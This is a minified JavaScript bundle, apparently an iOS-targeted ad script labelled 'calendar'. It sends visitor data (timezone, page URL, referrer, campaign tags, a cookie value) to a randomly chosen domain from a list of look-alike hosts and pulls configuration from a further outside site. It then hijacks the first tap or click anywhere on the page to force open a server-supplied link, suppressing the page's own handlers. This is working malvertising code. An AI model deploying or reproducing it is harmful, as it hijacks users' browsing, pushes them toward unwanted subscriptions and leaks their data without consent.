!function(t){var e={};function n(o){if(e[o])return e[o].exports;var i=e[o]={i:o,l:!1,exports:{}};return t[o].call(i.exports,i,i.exports,n),i.l=!0,i.exports}n.m=t,n.c=e,n.d=function(t,e,o){n.o(t,e)||Object.defineProperty(t,e,{enumerable:!0,get:o})},n.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},n.t=function(t,e){if(1&e&&(t=n(t)),8&e)return t;if(4&e&&"object"==typeof t&&t&&t.__esModule)return t;var o=Object.create(null);if(n.r(o),Object.defineProperty(o,"default",{enumerable:!0,value:t}),2&e&&"string"!=typeof t)for(var i in t)n.d(o,i,function(e){return t[e]}.bind(null,i));return o},n.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return n.d(e,"a",e),e},n.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},n.p="",n(n.s=0)}([function(t,e,n){"use strict";n.r(e);const o=["getels.com","getapo.com","getnee.com","getcong.com","getotal.com","getove.com","getony.com","getmari.com","getwil.com","gettran.com","getnapa.com","getyong.com","gettine.com","getkel.com","getibo.com"],i=(window.localStorage,(/iPad|iPhone|iPod/.test(navigator.userAgent)||"MacIntel"===navigator.platform&&navigator.maxTouchPoints>1)&&!window.MSStream),r=navigator.userAgent.match(/version\/([\w\.]+).+?(mobile\s?safari|safari)/i),s=navigator.userAgent.match(/fxios\/([\w\.-]+)/i),c=localStorage,a=["utm_source","utm_medium","utm_campaign","utm_content"],l=()=>JSON.parse(c.getItem("__cutmst1504"))||{};class u{constructor(){this._link=""}set link(t){"string"==typeof t&&(this._link=t)}get link(){return this._link}}const d=new u,p=new u,h=new u,m=new u,f=new u;let g;try{g=localStorage}catch(t){}if(!g)try{g=sessionStorage}catch(t){}const k=g,b=Boolean(g),_=()=>{let t={};return b&&Object.assign(t,JSON.parse(k.getItem("__cscon1603"))),t},w=t=>{let e=Object.assign(_(),t);return b&&k.setItem("__cscon1603",JSON.stringify(e)),e},y=(t={})=>{let e=Object.assign({timezone:Intl.DateTimeFormat().resolvedOptions().timeZone,href:location.href,referrer:document.referrer},l());if(t.tcid&&(e.tcid=t.tcid),t.spot_id&&(e.spot_id=t.spot_id),e.source_type=t.source_type,t.tcid){let n=document.cookie.split("; ").reduce((function(t,e){var n=e.split("=");return t[n[0]]=n[1],t}),{}).source||t.sub||0;(n=parseInt(n))&&(e.source_id=n)}return fetch(`https://${o.sort(()=>Math.random()-.5)[0]}/api/v1/subscriber`,{method:"POST",mode:"cors",cache:"no-cache",headers:{"Content-Type":"application/json"},body:JSON.stringify(e)}).then(t=>t.json()).then(t=>{let{checkUrl:e="",trackResubscribe:n="",trackSubscriptionOffer:o="",url:i=""}=t;return window.TCPop&&document.body.classList.add("nopop"),i&&(p.link=i),e&&(h.link=e),o&&(m.link=o),n&&(f.link=n),(()=>{let t=_();t.links={checkSub:h.link,trackOffer:m.link,trackResub:f.link},w(t)})(),t})};class v{constructor(){this._opts=null,this._hook=()=>{},this.call=t=>{let e=Object.assign({},this._opts);Object.assign(e,t),this._hook(e)}}set hook(t){"function"==typeof t&&(this._hook=t)}set opts(t){this._opts=t}}const O=new v,S=new v,j=t=>{t.metric&&(t=>{try{t=new URL(t).toString()}catch(t){return""}t+=t.indexOf("?")>-1?"&":"?",t+="version=2.3.0&ad_type=calendar",d.link=t})(t.metric);let e={tcid:parseInt(t.tcid),spot_id:parseInt(t.spot_id),s:t.s||1,d:t.d||60};return t.landing?(e.landing=!0,e.source_type="landing"):e.source_type=t.source_type||"publisher",e.show=_().show||[],O.hook=t.onShow,O.opts=e,S.hook=t.onBeforeSubscribe,S.opts=e,e},P=()=>{var t;(()=>{let t=_();t.show||(t.show=[]),t.show.push(Date.now()),w(t)})(),fetch(m.link),window.TCPop&&document.body.classList.remove("nopop"),O.call(),!(t={event_name:"show",user:m.link.split("/")[6]||""})&&(t={}),d.link&&fetch(d.link+"&"+Object.keys(t).map(e=>e+"="+(t[e]||"")).join("&"))},I=r||s,x=function(t){if(!p.link)return;t.stopPropagation&&t.stopPropagation(),t.stopImmediatePropagation&&t.stopImmediatePropagation(),t.preventDefault&&t.preventDefault(),T.forEach(t=>{document.body.removeEventListener(t.name,t.event)});let e=(n="a",o={target:"_blank",className:window.TCPop?"nopop":"",href:p.link},"string"!=typeof n&&(n="div"),"object"!=typeof o&&(o={}),Object.assign(document.createElement(n),o));var n,o;document.body.appendChild(e),e.click(),P()};let T=[];const D=x,E=x;(()=>{let t={},e=new URLSearchParams(location.search);a.forEach(n=>{e.has(n)&&(t[n]=e.get(n))}),((t={})=>{for(let e in t)t[e]=t[e].toString();c.setItem("__cutmst1504",JSON.stringify(t))})(Object.assign(l(),t))})();const L=async t=>{if(e=t,Array.isArray(e.show)&&e.show.length&&(e.show=e.show.filter(t=>t>Date.now()-1e3*e.d),e.show.length>=e.s))return;var e;(()=>{let t=_();t.links&&(h.link=t.links.checkSub,m.link=t.links.trackOffer,f.link=t.links.trackResub)})();let n=(()=>{let t=0,e=_();return e.sub&&(t=e.sub||0),t})(),o=0;n&&n+36e5>Date.now()||(o=await(async()=>{let t=0;if(h.link){let e=await fetch(h.link).then(t=>t.json());e&&e.found&&(t=Date.now())}return t})(),o?addStatus(Date.now()):(n&&!o&&addStatus(0),y(t).then(e=>{S.call({url:p.link,checkUrl:h.link,links:e}),t.landing?p.link&&(P(),location=p.link):i&&(T.push({name:"click",event:D}),document.body.addEventListener("click",D),I||(T.push({name:"touchstart",event:E}),document.body.addEventListener("touchstart",E)))})))},M=(t={})=>{var e;i&&((t=j(t)).tcid?t.landing?L(t):(e=t.tcid,fetch("https://vasgenerete.site/npc/cpc/"+`${e}.php`).then(async t=>(await t.json())[e])).then(e=>{e&&L(Object.assign(t,e))}):t.spot_id&&L(t),location.search.indexOf("__tc_calendar_debug")>-1&&console.log("tc",t))};try{event=new Event("__cp-initev"),event._init=M,window.dispatchEvent(event)}catch(t){}}]);